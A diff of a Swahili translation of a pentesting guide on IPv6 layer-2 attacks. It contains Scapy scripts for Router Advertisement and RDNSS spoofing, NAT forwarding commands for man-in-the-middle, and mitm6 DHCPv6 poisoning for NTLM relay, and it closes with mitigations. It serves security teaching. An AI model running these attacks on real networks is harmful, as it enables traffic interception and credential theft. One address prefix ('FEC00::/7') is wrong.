mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
ab3014a198
commit
5cd19b4c7a
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## IPv6 Msingi wa Nadharia
|
||||
## IPv6 Msingi wa nadharia
|
||||
|
||||
### Mitandao
|
||||
|
||||
@ -50,17 +50,17 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca
|
||||
|
||||
### **Aina za Anwani za IPv6**
|
||||
|
||||
- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
|
||||
- **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
|
||||
- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya anuwai ya **`2000::/3`** ya unicast ya kimataifa.
|
||||
- **Anwani ya Kawaida ya Mitaa (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
|
||||
- **Anwani ya Multicast**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
|
||||
- **Anwani ya Anycast**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Ni sehemu ya anuwai ya **`2000::/3`** ya unicast wa kimataifa.
|
||||
|
||||
### **Kichwa cha Anwani**
|
||||
### **Vichwa vya Anwani**
|
||||
|
||||
- **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
- **fc00::/7**: Unicast ya Kawaida ya Mitaa (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Unicast wa Kimataifa
|
||||
- **ff02::1**: Multicast kwa Nodes Zote
|
||||
- **ff02::2**: Multicast kwa Nodes za Router
|
||||
|
||||
### **Kugundua Anwani za IPv6 ndani ya Mtandao**
|
||||
|
||||
@ -112,7 +112,7 @@ Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo y
|
||||
|
||||
### Kurekebisha Mfumo kwa Maabara Imara
|
||||
|
||||
Kabla ya kucheza na trafiki ya IPv6, inapendekezwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
|
||||
Kabla ya kucheza na trafiki ya IPv6 inashauriwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Passive NDP & DHCPv6 Sniffing
|
||||
|
||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani:
|
||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kubaini sehemu nzima bila kutuma pakiti hata moja. Mfuatano huu wa Python/Scapy unakusikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi na alama ya wakati ya nani ni nani:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -197,9 +197,9 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Matokeo: muundo kamili wa **link-local topology** (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuanzisha mifumo ya IPS/IDS inayotegemea skana za kazi.
|
||||
|
||||
### Ulaghai wa Matangazo ya Router (RA)
|
||||
### Router Advertisement (RA) Spoofing
|
||||
|
||||
Mikondo ya IPv6 inategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua lango la chaguo-msingi. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.
|
||||
IPv6 hosts zinategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua default-gateway. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama gateway.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -227,9 +227,36 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
|
||||
|
||||
| Flag | Meaning | Effect on Client Behaviour |
|
||||
|------|---------|----------------------------|
|
||||
| **M (Managed Address Configuration)** | Wakati umewekwa kuwa `1` mwenyeji LAZIMA atumie **DHCPv6** kupata anwani yake ya IPv6. | Anwani nzima inatoka kwa DHCPv6 – bora kwa *mitm6* mtindo wa sumu. |
|
||||
| **O (Other Configuration)** | Wakati umewekwa kuwa `1` mwenyeji anapaswa kutumia **DHCPv6** tu kupata *maelezo mengine* (DNS, NTP, …). | Anwani bado kupitia SLAAC, lakini DNS inaweza kutekwa na DHCPv6. |
|
||||
| **M=0 / O=0** | Mtandao safi wa SLAAC. | Njia za RA / RDNSS pekee zinaweza kufanyika – DHCPv6 haitatumwa na wateja. |
|
||||
| **M=1 / O=1** | Mazingira mchanganyiko. | Zote DHCPv6 na SLAAC zinatumika; uso wa kudanganya ni mkubwa zaidi. |
|
||||
|
||||
Wakati wa pentest unaweza kuchunguza RA halali mara moja na kuamua ni vector ipi inayowezekana:
|
||||
```bash
|
||||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
|
||||
```
|
||||
Tafuta uwanja wa `flags [M,O]` katika dump - hakuna makisio yanayohitajika.
|
||||
|
||||
Uwanja wa **Prf** (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya uasi inavyoonekana kuvutia wakati *gateway* nyingi zipo:
|
||||
|
||||
| Prf value | Binary | Meaning |
|
||||
|-----------|--------|---------|
|
||||
| **High** | `10` | Wateja wanapendelea router hii kuliko yoyote *Medium*/*Low* |
|
||||
| Medium (default) | `01` | Inatumika na karibu kila kifaa halali |
|
||||
| Low | `00` | Inachaguliwa tu wakati hakuna router bora zaidi |
|
||||
|
||||
Unapozalisha pakiti na Scapy unaweza kuipanga kupitia parameter ya `prf` kama ilivyoonyeshwa hapo juu (`prf=0x1` → High). Kuunganisha **High Prf**, **kipindi kifupi**, na **muda usio sifuri** kunafanya gateway yako ya uasi kuwa thabiti sana.
|
||||
|
||||
---
|
||||
|
||||
### RDNSS (DNS) Spoofing kupitia RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa uendeshaji wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) unakubali moja kwa moja:
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) kwa otomatiki unakubali.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -249,16 +276,16 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Wateja wata **ongeza** DNS yako kwenye orodha yao ya resolver kwa muda uliotolewa, wakitoa hijacking kamili ya DNS hadi thamani ipotee au utume `lifetime=0` kurejea.
|
||||
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unatoa **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua:
|
||||
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa ajili ya DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unateua **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua:
|
||||
|
||||
* Mashambulizi ya NTLM relay (WPAD + DNS hijacking)
|
||||
* NTLM relay attacks (WPAD + DNS hijacking)
|
||||
* Kukamata ufumbuzi wa majina ya ndani bila kugusa routers
|
||||
|
||||
Matumizi ya kawaida:
|
||||
Typical usage:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
@ -267,7 +294,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspection** kwenye swichi zinazodhibitiwa.
|
||||
* Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
|
||||
* Fuatilia **RAs zenye kiwango cha juu zisizo thabiti** au mabadiliko ya ghafla ya **RDNSS**.
|
||||
* Kuzima IPv6 kwenye mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake.
|
||||
* Kuzima IPv6 kwenye vituo ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake.
|
||||
|
||||
## Marejeo
|
||||
|
||||
@ -276,5 +303,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user